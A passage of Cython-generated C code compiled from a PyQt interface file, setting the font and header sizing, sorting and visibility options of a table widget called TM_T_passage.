__Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":937 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 937, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__578, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 937, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":938 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(5, item) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 938, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__579, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 938, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":939 * font.setBold(True) * font.setWeight(75) * item.setFont(font) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalHeaderItem(5, item) * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 939, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 939, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 939, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 939, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 939, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 939, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":940 * font.setWeight(75) * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(5, item) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 940, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 940, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_5, __pyx_v_item}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 940, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_5, __pyx_v_item}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 940, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 940, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_5); __Pyx_GIVEREF(__pyx_int_5); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_5); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_v_item); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 940, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":941 * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(5, item) * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 941, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 941, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 941, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 941, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setCascadingSectionResizes); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 941, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__580, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 941, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":942 * self.TM_T_passage.setHorizontalHeaderItem(5, item) * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 942, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 942, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 942, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 942, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setDefaultSectionSize); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 942, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__581, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 942, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":943 * self.TM_T_passage.horizontalHeader().setCascadingSectionResizes(False) * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 943, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 943, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 943, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 943, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMinimumSectionSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 943, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__582, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 943, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":944 * self.TM_T_passage.horizontalHeader().setDefaultSectionSize(100) * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) # <<<<<<<<<<<<<< * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) * self.TM_T_passage.verticalHeader().setVisible(False) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 944, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 944, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 944, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 944, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSortIndicatorShown); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 944, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__583, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 944, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":945 * self.TM_T_passage.horizontalHeader().setMinimumSectionSize(50) * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setVisible(False) * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 945, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_horizontalHeader); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 945, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 945, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 945, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setStretchLastSection); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 945, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__584, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 945, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":946 * self.TM_T_passage.horizontalHeader().setSortIndicatorShown(True) * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) * self.TM_T_passage.verticalHeader().setVisible(False) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) * self.TM_T_passage.verticalHeader().setHighlightSections(False) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 946, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 946, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 946, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 946, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setVisible); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 946, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__585, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 946, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":947 * self.TM_T_passage.horizontalHeader().setStretchLastSection(True) * self.TM_T_passage.verticalHeader().setVisible(False) * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setHighlightSections(False) * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 947, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 947, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 947, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 947, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setDefaultSectionSize); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 947, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__586, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 947, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":948 * self.TM_T_passage.verticalHeader().setVisible(False) * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) * self.TM_T_passage.verticalHeader().setHighlightSections(False) # <<<<<<<<<<<<<< * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) * self.horizontalLayout_9.addWidget(self.TM_T_passage) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 948, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 948, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 948, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 948, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHighlightSections); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 948, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__587, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 948, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":949 * self.TM_T_passage.verticalHeader().setDefaultSectionSize(10) * self.TM_T_passage.verticalHeader().setHighlightSections(False) * self.TM_T_passage.verticalHeader().setMinimumSectionSize(10) # <<<<<<<<<<<<<< * self.horizontalLayout_9.addWidget(self.TM_T_passage) * self.verticalLayout.addLayout(self.horizontalLayout_9) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 949, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_verticalHeader); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 949, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 949, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 949, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = 